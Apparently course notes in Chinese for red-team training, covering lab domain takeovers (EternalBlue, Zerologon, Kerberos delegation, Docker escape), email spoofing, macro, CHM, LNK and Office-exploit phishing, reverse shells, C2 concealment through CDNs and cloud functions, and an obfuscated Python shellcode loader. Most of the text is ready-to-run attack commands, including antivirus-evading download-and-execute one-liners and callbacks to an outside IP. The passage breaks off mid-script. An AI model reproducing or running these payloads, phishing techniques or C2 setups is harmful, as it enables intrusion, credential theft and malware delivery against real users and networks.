# vpc 项目
# vpc1
1 2 3 4 5 6 7 通过 web 漏洞拿到 web 服务器的权限,用后门工具连接后,上传 cs 的马进 行上线。 对 web 服务器进行域内信息收集,端口扫描,mimikatz 运行,导出部分凭 据和明文。设置代理转发端口,利用 proxychains 代理流量并用 CrackMapExec 工具进行域用户和本地用户的密码喷射,得到 windows 7 的本地用户权限,通 过端口转发上线此台机器。win7 的域用户 hash 和明文进行喷射时发现没有效果。 在 windows7 上进行 spn 扫描,识别到了 mssql 服务器,利用注册表命令对 navicat 进行密码的读取并利用工具解密得到 mssql 的数据库密码。在主机上通 过 MDUT 与 proxifer 建立的规则连接到获取到密码的 mssql,开启 xpcmdshell 并 上传木马至服务器,执行成功之后获取到了 windows2008 的主机权限。 对拿到的 2008 再次进行 mimikaz 导出明文,设置代理规则,用获取到的明 文依次进行域用户和本地用户登录,最终得到域控权限。
( 1 )上线 msf
控制 weblogic 之后,先 sleep 0 ,其次进行网卡内存活主机扫描,判断存在 445 端口开放的主机;设置 socket 转发通过 fscan 进行内网扫描,识别到 ms17_010。检测到漏洞之后,将权限转发给 msf,由 msf 进行攻击。
( 2 )将权限从 cs 转发至 msf
cs 配置 forigen http 的监听器,并命名为 msf
主机移交监听器至 msf:spawn msf
( 3 )MSF 监听联动配置
1 2 3 4 5 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 0.0.0.0 set lport xxxx run
( 4 )msf 添加路由
1 2 run autoroute -p # 查看当前路由表 run post/multi/manage/autoroute # 添加当前路由表
( 5 )利用模块
1 2 3 4 5 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp # 正向连接上线 set rhost 10.10.20.7 # 设置连接目标 set rhosts 10.10.20.7 # 设置扫描目标 run
( 6 )获取 win7 的权限之后需再次设置路由
1 2 run autoroute -p # 查看当前路由表 run post/multi/manage/autoroute # 添加当前路由表
( 7 )将权限从 msf 转发至 cs
设置 windows/beacon_bind_tcp 的监听器,生成此监听器的木马
1 2 3 4 5 6 7 8 # 将木马上传到服务器,通过msf命令将木马发送到肉机 upload /root/bb.exe c:\\bb.exe # cs连接正向执行的木马: connect 10.10.20.7 # 判断是否在域环境及获取域控ip net user /domain
( 8 )读取明文密码和 hash
getsystem 提升权限至 system,并运行 mimikatza 读取密码,cs 的操作为直接通过插件,msf 的操作为 load kiwi,creds_all 进行读取。
( 9 )查找域内非约束委派用户和计算机
1 2 # 设置代理或者上传adfind工具来进行扫描 AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
( 10 )对存在约束委派的 sqlserver 攻击
1 2 3 4 5 6 7 8 # 端口扫描识别存在约束委派的机器 fscan -h 10.10.10.18 # 攻击域内数据库主机:Proxifier设置整个网段的代理规则 # 弱口令扫描sqlserver机器:随便选去一个工具进行弱口令检测 # MDUT攻击数据库:通过账户密码连接到sqlserver服务器,上传正向木马并执行(正向木马是绑定在了肉机自己的端口上,用cs连接此ip的端口可以上线) # cs连接sqlserver: connect 10.10.10.18 2222
( 11 )提权并进行 mimikza 导出
用 10.10.20.x 的 win 7 机器进行转发上线,设置监听为 10.10.10.7,进行反向连接设置,对拿到的 mssql 的机器进行权限提升并选择监听器为 10.10.10.7 上开通的监听。以管理员权限运行 mimikza 进行明文密码和 hash 的导出。
( 12 )通过 mssql 用户以约束委派方式攻击域控主机
建立代理或者上传 kekeo 工具进行票据操作
1 2 3 4 5 6 7 8 # kekeo请求获取sqlserver的TGT: kekeo "tgt::ask /user:sqlserver /domain:redteam.red/passwor d:Server12345 /ticket:administrator.kirbi" "exit" # 使用票据请求域控: kekeo "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red @REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit" # 导入内存: mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~o wa.redteam.red@REDTEAM.RED.kirbi
( 13 )上线域控
连接域控: dir \\OWA\\c$
通过命令上传木马并执行上线域控,也可以用 psexec 等工具上线域控
# vpc2
( 1 )web 服务器 linux 权限获取
web 上的 url 地址显示 login;jsessionid,抓包可以得到 remember me 的字段,
判断出是 shiro 框架,直接用 shiro 反序列化工具攻击,通过此工具植入哥斯拉 的内存马,用哥斯拉上线此台机器。
对此机器进行审查,查看到有 dockerenv 的文件,从而判断出当前正处于 d ocker 内,需要进行 docker 逃逸
1 2 3 4 5 6 7 8 9 10 # 采用 https://cloud.tencent.com/developer/article/1987725 中的挂载方法进行逃逸。 fdisk -l & mkdir xiaodi & mount /dev/vda1 xiaodi/ & chroot /xiaodi/ # 攻击 linux 常用 msf,准备 msf 的 elf 木马如下,生成之后将木马通过哥斯拉 上传到 docker 容器中,在从 docker 容器挂载的目录复制到/root 目录下。 # 同时 msf 开启监听,等待木马执行之后的回联。 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPO RT=3333 -f elf > shell.elf # 修改计划任务设置木马执行的时间 chmod +x /xiaodi/root/shell.elf echo '*/1 * * * * root /root/shell.elf' >> /xiaodi/etc/crontab 等待特定时间后成功上线 linux
( 2 )windows 2012 权限获取
通过 msf 添加路由的方式自动添加路由,对 1 网段进行扫描,获取到存活主机 1.16 与 1.10,并且在 16 地址上存在 web 服务,通过 msf 设置代理规则将内网服务映射到服务器上,利用 proxychains 在外网上访问内网服务。构造 http://192.168.1.16/?num []=1 进行绕过,并且得到了主机凭据 {Administrator / Admin1234567}。
1 2 3 4 5 6 7 8 9 10 11 12 # 批量对域用户和本地用户进行凭据测试,判断出此凭据属于 win 2012 的本地用户。 proxychains python cme smb 192.168.1.10- 16 - u administrator -p 'Admin1234567' --local-auth # win 2012 设置有防止流量出站的防火墙规则,采用正向连接的木马绕过此限制,若不知道网络情况的话需要反向正向都进行测试,命令如下。 msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=5555 - f exe > bd.exe # 因win 2012 不出网,故将木马上传至linux跳板机,在跳板机上用python开启简易web服务, python -m SimpleHTTPServer。 # 并利用CrackMapExec直接在win 2012 上执行下载木马并且运行的木马,同时对特定端口进行正向监听,等待shell的回连。 proxychains python cme smb 192.168.1.16 -u administrator -p 'Admin1234567' -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.1.14:8000/bd.exe](http://192.168.1.14:8000/bd.exe) c:/bd.exe & c:/bd.exe' --local-auth # 此时成功获取到了win 2012 的权限。
( 3 )dc 权限获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 在win 2012 进行mimikatz kiwi的攻击从而获取到登录过此主机的历史hash ,成功获取到一个xiaodisec用户的hash 值。测试此hash 值与dc的通信。 proxychains python cme smb 192.168.1.10 -u administrator -H hash # 发现此hash 值就是dc的凭据,接下来就是利用此hash 进行木马下载,上传木马至dc,并突破火绒的限制,拿到dc的权限。 # 通过msf生成hex的木马,撰写go脚本实现命令拼接式的无文件落地的免杀exe。并通过同样的方法将命令放在linux上开启的简易web上。 msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=6666 - f hex # 用CrackMapExec执行普通的命令执行时都会被视为威胁无法成功,通过如下的方式绕过火绒的检测,从linux上获取到木马并执行。 "c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f [http://192.168.1.14:](http://192.168.1.14:)8000/5.exe c:/5.exe # 下载仍然是失败的,在此情况下,使用交互式方案下载木马,具体命令如下。 proxychains python smbexec.py -hashes :f1065013e55bbbeb64ddab768229710d xiaodi/administrator@192.168.1.10 # 以此方式打开的交互式 cmd,可以下载免杀木马并且执行成功上线。 # 除了这种变异命令之外,还可以采用copy的方式,从域控上讲木马从linux上直接复制到其上,不过也是需要开启交互式的cmd进行木马的获取的。 # 杀毒对外部的数据比较严格,对自己的数据比较宽松,可以生成票据从域控连接到域内主机,通过copy命令将exe木马从域内主机复制到域控上。
# vpc3
( 1 )靶场 1 - Web 攻防
( 2 )靶机 2 - MS17010 漏洞
1 2 3 4 5 # 密码喷射尝试:(失败)(由于知道是工作组,所以不需要进行域登录,参数也要改) proxychains python cme smb 192.168.2.128- 129 - u administrator -H 53bd9892cea6f1d9ffa8ac587ba3cba6 --local-auth # MS17010-MSF判断和利用 msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=47.94.236.117 LPORT=999 -f exe > m.exe
检测:auxiliary/scanner/smb/smb_ms17_010
利用:exploit/windows/smb/ms17_010_eternalblue
( 3 )靶机 3 - 口令获取
密码喷射尝试:(成功)
直接 CS 插件移动获取成功
( 4 )靶机 4 - 通过 weblogic 获取
密码喷射尝试:(失败)
探针端口 7001 开放 - Weblogic - 利用漏洞攻击 - 工具利用
上传 webshell-C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war\xiaodi.jsp
上传后门(反向)- 防火墙开启(扫描的时候发现被阻止)
执行后门上线 CS
( 5 )靶机 5
利用靶机 4 的口令横向移动得到
( 6 )靶机 6
CVE-2017-0146 不存在、CVE-2014-6324 太老、CVE-2021-42287 、CVE- 2022-26923 条件不满足。CVE-2020-1472 满足。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 连接DC清空凭证 proxychains python cve-2020-1472-exploit.py dc 192.168.10.10 # 获取域内HASH cd impacket-0.9.23/examples/ proxychains python secretsdump.py dc\$@192.168.10.10 -just-dc -no-pass # 连接域控PTH proxychains python wmiexec.py -hashes :a402bea39d0f49b50ea1941120780ee3 xdorg/administrator@192.168.10.10 # 上传后门至域内主机上&CS横向移动 copy \\web\c$\6677.exe 6677.exe connect 192.168.10.10 6677
# vpc4
( 1 )靶机 1 :WEB
tomcat 弱口令上传制作的 war 连接哥斯拉、上传 cs 后门执行上线,getsystem 进入域、探针内网 IP 段,定位域控,信息打点服务。
1 2 3 4 5 6 7 8 9 10 11 # 提高权限 getsystem # 获取前缀 net view /domain # 定位域控 net time /domain # netbios前缀 jishu # 域控 jishudc.jishu.xiaodi.vpc 192.168.2.20
( 2 )靶机 2 :SQL
口令喷射失败
spn 扫描服务
数据库配置文件翻阅,弱口令爆破(MSSQL)
MDUT 代理转发 正向上线 主动连接上线
( 3 )靶机 3 :jishudc
psexec CrackMapExec 口令喷射成功,横向拿下
( 4 )靶机 4 :xds
利用域管口令横向拿下
获取前缀:net view /domain
获取到其他子域 xiaoshou
xiaoshou.xiaodi.vpc
( 5 )靶机 5 :xsd
口令喷射不成功,有防火墙
80 端口拿下 - 通达 OA 漏洞利用 - Getshell
上传正向木马执行并主动连击
获取域控 netbios 及域控 ip 地址
( 6 )靶机 6 :xiaoshoudc
hash 匹配不上,采用漏洞提权
1 2 3 4 5 # 14、17 年的漏洞太老不选择,21、22 需要 一个域内的明文账户密码,前提条件不满足,选择 20 年的漏洞。 proxychains python cve- 2020 - 1472 - exploit.py xiaoshoudc 192.168.3.20 shell noPac.exe -domain xiaoshou.xiaodi.vpc -user xiaosedi -pass xsd!@#45 /dc xiaoshoudc.xiaoshou.xiaodi.vpc /mAccount test /mPassword 12qwAS.. /service cifs /ptt # 利用hash 及psexec进行利用拿权限:flag.txt口令传递拿下、 shell copy hack.php \\xiaoshoudc\c$\phpstudy_pro\www\hack.php
( 7 )靶场 7 :file 也可以采用 Nopac 提权
1 2 # 横向口令拿下 proxychains python cme smb 192.168.4.11 -u administrator -H f1065013e55bbbeb64ddab768229710d --local-auth
( 8 )靶场 8 :fileadmin
资源约束委派
1 2 3 4 5 6 7 8 # 获取受害目标:有哪些域内计算机存在同一用户加入的 shell AdFind.exe -h 192.168.4.20 -b "DC=xiaodi,DC=vpc" -f "objectClass=computer" mS-DS-CreatorSID # 判断受害用户: shell sid2user.exe \\192.168.4.20 5 21 3673262946 1983004332 2925526849 1103 shell SharpAllowedToAct.exe -m xxxyyxxx -p xxyyx!@#45 -t file -a 192.168.4.20 xiaodi.vpc python getST.py -dc-ip 192.168.4.20 xdvpc/fileadmin$:file!@#45 -spn cifs/fileadmin.xiaoshou.xiaodi.vpc -impersonate administrator kerberos::ptc administrator.ccache
( 9 )靶场 9 :dc
https://github.com/Kevin-Robertson/Inveigh
监听拦截到 DC 的密文 :Inveigh.exe
获取到的是 NET NTLM HASH V1 或 V2
破解得出明文: hashcat.exe -a 3 -m 5600 xxxxxx ?l?l?l?l?l?s?s?s?d?d?d?d
通过 Inveigh.exe 获取的明文横向移动获取
# 红队 APT
# 邮件钓鱼
什么是 SPF: 发件人策略框架(Sender Policy Framework)电子邮件认证机制,中文译为发送方策略框架,主要作用是防止伪造邮件地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 如何判断SPF dig -t txt qq.com //linux nslookup -type=txt qq.com //windows # SPF相关显示 "v=spf1 -all" (拒绝所有,表示这个域名不会发出邮件) "v=spf1 +all" (接受所有) "v=spf1 ip4:192.168.0.1/16 -all"(只允许 192.168.0.1/16 范围内的 IP 发送邮件) "v=spf1 mx -all"(允许当前域名的 mx 记录对应的 IP 地址发送邮件) "v=spf1 mx mx:test.example.com -all"(允许当前域名和 test.example.com的 mx 记录对应的 IP 地址发送邮件) "v=spf1 a mx ip4:173.194.72.103 -all"(允许当前域名的 a 记录和 mx 记录和一个给定的 IP 地址发送邮件) "v=spf1 include:example.com -all"(采用和 example.com 一样的 SPF 记录) # Swaks 简单使用说明 -t –to 目标地址 -t test@test.com -f –from 来源地址 (发件人) -f "text<text@text.com>" –protocol 设定协议(未测试) --body "http://www.baidu.com" //引号中的内容即为邮件正文; --header "Subject:hello" //邮件头信息,subject为邮件标题 -ehlo 伪造邮件 ehlo 头 --data ./Desktop/email.txt //将TXT文件作为邮件发送;
工具地址:https://docs.getgophish.com/
项目地址:https://github.com/gophish/gophish
( 1 )无 SPF 直接伪造 - Swaks
1 2 3 4 5 6 7 8 9 # 临时邮箱: http://24mail.chacuo.net/ https://www.linshi-email.com/ # 检测: nslookup -type=txt xxx.com # 伪造: swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ管理<admin@qq.com>" --ehlo shabimeiguo -head er "Subject: 测试" --body 我们做了一个测试 --to owazmoffth@iubridge.com
( 2 )有 SPF 直接伪造 - Swaks
工具地址:http://jetmore.org/john/code/swaks/
1 2 3 4 5 # 软刚发信人:(修改字眼) swaks --body "test" --header "Subject:testT" -t xx@163.com -f system@notice.aliyun.com.cn # 硬刚发信人:(转发突破)注册一个邮箱开启POP3转发、使用网上已知的邮箱系统。将要发送的邮件导出EML模版,修改内置的发件人内容时间等。 swaks --to 收信人 -f 发信人 --data 1.eml --server smtp.163.com -p 25 -au 帐号 -ap 授权码
自建要伪造高仿的邮箱系统、使用第三方平台或自行搭建、设置 SPF,中转平台突破。
smtp2go(速度慢但免费发送量大):https://www.smtp2go.com/
SendCloud(速度快但免费发送量少):https://www.sendcloud.net/
也可以自己搭建邮件服务器 - Ewomail&Postfix:http://www.ewomail.com/
( 3 )采用自己搭建 Ewomail 配合 Swaks
转发地址域名由你指定注册、不受限于其他系统的限制和风控
http://doc.ewomail.com/docs/ewomail/jianjie
https://blog.csdn.net/u012866532/article/details/123335529
swaks --to 471656814@qq.com -f admin@a1iyun.com --data test.eml --server smtp.a1iyun.com -p 25 -au admin@a1iyun.com -ap xiaodi123
克隆:手工另存为、Setoolkit、Goblin
工具地址:https://github.com/xiecat/goblin
项目地址:https://github.com/trustedsec/social-engineer-toolkit
# 宏病毒
生成宏病毒:Attacks --> Packages --> MS offices Macro
操作:Office 格式文档文件钓鱼一般采用宏或对象触发后门;默认 Office 加载宏后一般需要启用内容才可调用执行;所以诱惑伪装很重要。
伪装:提示需要启用内容才能查看文件内容,并设置限制编辑等
文件内容模式:docx-doc&docm、xlsx-xls&xlsm、pptx-ppt&pptm
老版本: 97 - 2003 0ffice 默认是支持宏代码运行
新版本:启动宏的格式,一般就是在后缀加上 M
# CHM 电子书
CS 生成上线:Attacks——>Web Drive by——>Scripted web Delivery
CHM 伪装:找一个正常的 CHM 电子书,解压后;将 Payload 插入其中某个或整个页面;加载编译,当电子书打开修改页面后上线。
解压命令:hh -decompile .\html xx.CHM
木马执行:使用 bitsadmin 或 Powershell 模式加载木马
1 2 3 4 5 6 7 8 9 10 # 免杀方案 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.94.236.117:84/a'))" bitsadmin /transfer 604c http://47.94.236.117:83/a %APPDATA%\604c.exe&% APPDATA%\604c.exe&del %APPDATA%\604c.exe "c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f [http://47.94.236.117](http://47.94.236.117)/5.exe c:/5.exe & c:/5.exe powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.236.117:84/a'')'.Replace('123','adString');IEX ($c1+$c2)" copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.exe && .\bypass.exe "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://xxx/hr.ps1''));';IEX ($a+$b)"
# LNK 快捷方式
生成:Attacks -> Packages -> Html Application
上传:Attacks——>Web Drive by——>Host file
执行:C:\Windows\System32\mshta.exe http://xx.xx.xx.xx :xx/x.ext
伪装:创建快捷方式、生成 HTA 并上传、属性更改目标执行、属性更改图标伪装
lnk 免杀思路:powershell 混淆、shellcode 混淆、vba 混淆
# Office CVE 漏洞
Microsoft MSDT CVE-2022-30190 代码执行
工具地址:https://github.com/JohnHammond/msdt-follina
该漏洞首次发现在 2022 年 5 月 27 日,由白俄罗斯的一个 IP 地址上传。恶 意文档从 Word 远程模板功能从远程 Web 服务器检索 HTML 文件,通过 ms-ms dt MSProtocol URI 方法来执行恶意 PowerShell 代码。感染过程利用程序 msdt.e xe,该程序用于运行各种疑难解答程序包。
此工具的恶意文档无需用户交互即可调用它。导致在宏被禁用的情况下, 恶意文档依旧可以使用 ms-msdt URI 执行任意 PowerShell 代码。
目前已知影响的版本为:office 2021 Lts、office 2019、office 2016、Offic e 2013、Office ProPlus、Office 365
测试:msdt.exe/id PCWDiagnostic /skip force /param “IT_RebrowseForFile=? I T_LaunchMethod=ContextMenu IT_BrowseForFile=( I n v o k e − E x p r e s s i o n ( (Invoke-Expression( ( I n v o k e − E x p r e s s i o n ( (Invoke- Expression(’[System.Text.Encoding]’+[char]58+[char]58+‘Unicode.GetString([Syste m.Convert]’+[char]58+[char]58+‘FromBase64String(’+[char]34+‘YwBhAGwAYwA=’ +[char]34+’))’))))i/…/…/…/…/…/…/…/…/…/…/…/…/…/…/Windows/System32/mpsigstub.exe”
Microsoft MSHTML CVE- 2021 - 40444 远程代码执行
工具地址:https://github.com/lockedbyte/CVE-2021-40444
影响版本:office 2003 office 2007 office 2010 office 2013 office 2016
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 安装依赖 apt-get install lcab # 生成DLL msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117lport=9999 -f dll > shell.dll # 监听上线 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 9999 run # 生成文档 cp shell.dll CVE- 2021 - 40444 python3 exploit.py generate shell.dll http://47.94.236.117:10000 # 监听文档 python3 exploit.py host 10000
# 钓鱼伪装
( 1 )文件后缀 - 钓鱼伪装 - RLO
通过修改文件后缀的编码方式,将 exe 后缀文件伪装为 jpg 文件
( 2 )压缩文件 - 自解压 - 释放执行
Winrar 压缩软件,设置压缩为自启动,双击压缩文件之后即释放木马
( 3 )捆绑文件 - 打包加载 - 释放执行
通过不同的捆绑释放器进行绑定免杀木马,执行文件后释放木马
# NC 流量加密
1 2 3 4 5 6 7 8 9 10 11 12 # nc 使用 nc -lvvp 5566 nc -e /bin/bash 47.94.236.117 5566 # 在我们的攻击端生成自签名证书: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes # 在攻击机上监听指定端口,这里我选择 8888 : openssl s_server -quiet -key key.pem -cert cert.pem -port 8888 # 在受害机上执行shell反弹命令(注意修改ip和端口): mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.236.117:8888 > /tmp/s;
# MSF 通讯特征修改
解决 HTTPS-SSL 通讯证书被特征标示问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 利用openssl生成证书 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.co m.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt # MSF生成绑定证书后门 msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.236.117 LPO RT=5566 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerS SLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o https-b.exe # MSF监听上线 use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 0.0.0.0 set lport 5566 set HandlerSSLCert /root/www.baidu.com.pem set StagerVerifySSLCert true run # impersonate_ssl模块: # 此外Metasploit框架还有一个auxiliary/gather/impersonate_ssl模块,可以用来自动从信任源创建一个虚假证书,十分方便: use auxiliary/gather/impersonate_ssl set RHOST [http://www.baidu.com](http://www.baidu.com) run
# CS 通讯特征修改
解决 HTTP/S 通讯证书及流量特征被特征标示问题、JDK Keytool 修改 CS 特征。修改默认端口:编辑 teamserver 文件,更改 server port 部分 50000 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # a. 去除store证书特征: # 查看证书指纹: keytool -list -v -keystore cobaltstrike.store # 生成证书指纹 keytool -keystore cobaltstrike1.store -storepass 123456 -key pass 123456 -genkey -keyalg RSA -alias xiaodi8.com -dname "CN=xiaodi8 e-Szigno Root CA, OU=e-Szigno CA, O=xiaodi8 Ltd., L=Budapest, S=HU, C=HU" # 应用证书指纹 keytool -importkeystore -srckeystore cobaltstrike1.store -dest keystore cobaltstrike1.store -deststoretype pkcs12 # b. 去除流量通讯特征: # 规则资源:https://github.com/xx0hcd/Malleable-C2-Profiles与https://github.com/FortyNorthSecurity/C2concealer # 创建C2文件:xiaodi.Profiles # 写入通讯规则: UA头&GET&POST&心跳&证书等 # 测试规则正常 ./c2lint xiaodi.prifile # c.加载C2规则启动: ./teamserver ip 密码 xiaodi.Profiles https-certificate { set CN "xiaodi8"; set O "Microsoft"; set C "en"; set L "US"; set OU "Microsoft"; set ST "US"; set validity "365"; } d.设置,修改成你的证书名称和证书密码 code-signer{ set keystore "xiaodi.store"; set password "xiaodi"; set alias "xiaodi8.com"; }
# C2 服务器隐藏
防封锁处置 IP 地址:域前置、CDN、云函数,网盘第三方上线等
( 1 )cs 采用 CDN 上线
解决 HTTPS-SSL 通讯被朔源 IP 封锁问题
配置:https://mp.weixin.qq.com/s/MghFgegdp3l3tFE3hOvcYw
阿里云备案域名 & 全站加速 CDN 配置、CS 创建监听器 - HTTPS/Stager/Header、生成后门 - 进程网络状态 & 威胁情报平台。
( 2 )域前置 - CDN 配合
此方案在大部分 IDC 不再支持
( 3 )DNS 协议 - 域名记录解析
1 2 3 4 5 6 7 8 9 # a. 域名解析设置A,NS记录 ns1 ns cs.xxx.com ns2 ns cs.xxx.com cs A xx.xx.xx.xx(CS的IP) # b. CS监听器-DNS Beacon DNS DNS地址配置:ns1.xxx.com ns2.xxx.com # c. 执行后checkin唤醒
( 4 )云函数 - 腾讯云操作
创建云函数:腾讯云 - 云产品 - 云函数 - 函数服务 - 新建
创建函数服务:选择从头开始 - 函数类型选择事件函数 - 函数名称任意 - 运行环境选择 python3.6 - 并复制如下代码并修改 CS 的 IP - 点击完成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context): C2='https://XXXX' # 修改为自己C2服务器地址 path=event['path'] headers=event['headers'] print(event) if event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } return response
创建触发器:触发方式选择 API 网关触发 - 勾选启用集成响应 - 点击提交配置触发器:点击 API 服务名对触发器进行配置,将路径修改为 /,然后点击立即完成配置 profile 文件 - 触发 URL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 set sample_name "t"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } }
启动 CS 加载 profile:./teamserver IP 密码 xxx.profile
( 5 )端口转发 - Iptables
1 2 3 4 5 6 7 # 转发机设置转发:(80改 443 即https) iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.236.117:80 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward=1
CS 监听器配置转发机 IP
( 6 )中间件反向代理 - Apache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 代理机安装Apache: apt-get install apache2 a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http systemctl restart apache2 /etc/apache2/sites-enabled/000-default.conf # 中间件设置转发: http: ProxyPass "/" "http://CS的IP/" ProxyPassReverse "/" "http://CS的IP/" https: ProxyPass "/" "https://CS的IP/" ProxyPassReverse "/" "https://CS的IP/" # 重启Apache服务: service apache2 restart # CS监听器配置转发机IP
# python 自动化
# socket 免杀后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # client.py import socket,sys ip=sys.argv[1] port=sys.argv[2] s1=socket.socket() s1.connect((ip,int(port))) while True: cmdline=input('please input cmdline:') s1.send(cmdline.encode()) cmddata=s1.recv(1024).decode() print(cmddata) s1.close() # server.py import socket,os,ctypes,base64 s=socket.socket() s.bind(('0.0.0.0',9999)) s.listen(5) def zx(s): sc = base64.b64decode(s) code='cnd4cGFnZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKDAsIGxlbihzYyksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5r ZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3 RyaW5nX2J1ZmZlcihzYyksIGxlbihzYykpCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKDAsIDAsIHJ3eHBhZ2UsIDAsIDAsIDA pCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChoYW5kbGUsIC0xKQ==' c=base64.b64decode(code) eval(c) while 1: sock,addr=s.accept() print(sock, addr) while 1: cmd=sock.recv(10241).decode() print(cmd) print(type(cmd)) zx(cmd) print(cmd_data) print(type(cmd_data)) sock.send(cmd_data.encode()) sock.close()
# 多线程全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import socket import threading import queue def port_scan(): while not q.empty(): ip = '127.0.0.1' port = q.get() s = socket.socket() if s.connect_ex((ip, port)) == 0: print("%d is open" %port) else: pass s.close() if __name__ == '__main__': q = queue.Queue() for port in range(1,65536): q.put(port) for i in range(30): t = threading.Thread(target=port_scan) t.start()
# scapy 流量分析
1 2 3 4 5 6 7 8 9 10 11 12 13 from scapy.all import * def packet_callback(packet): print(packet.show()) data=bytes(packet[TCP].payload) for info in data.split(b'\n'): print(info) if b'Content-Disposition: form-data; name="' in info: print('文件上传攻击中...') pass if __name__ == '__main__': sniff(filter='host 192.168.1.107 and tcp port 80',iface='以太网',prn=packet_callback,store=0)
# 文件行为监控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from watchdog.observers import Observer from watchdog.events import * import time class FileEventHandler(FileSystemEventHandler): def __init__(self): FileSystemEventHandler.__init__(self) def on_moved(self, event): if event.is_directory: print("directory moved from {0} to {1}".format(event.src_path,event.dest_path)) else: print("file moved from {0} to {1}".format(event.src_path,event.dest_path)) def on_created(self, event): if event.is_directory: print("directory created:{0}".format(event.src_path)) else: print("file created:{0}".format(event.src_path)) def on_deleted(self, event): if event.is_directory: print("directory deleted:{0}".format(event.src_path)) else: print("file deleted:{0}".format(event.src_path)) def 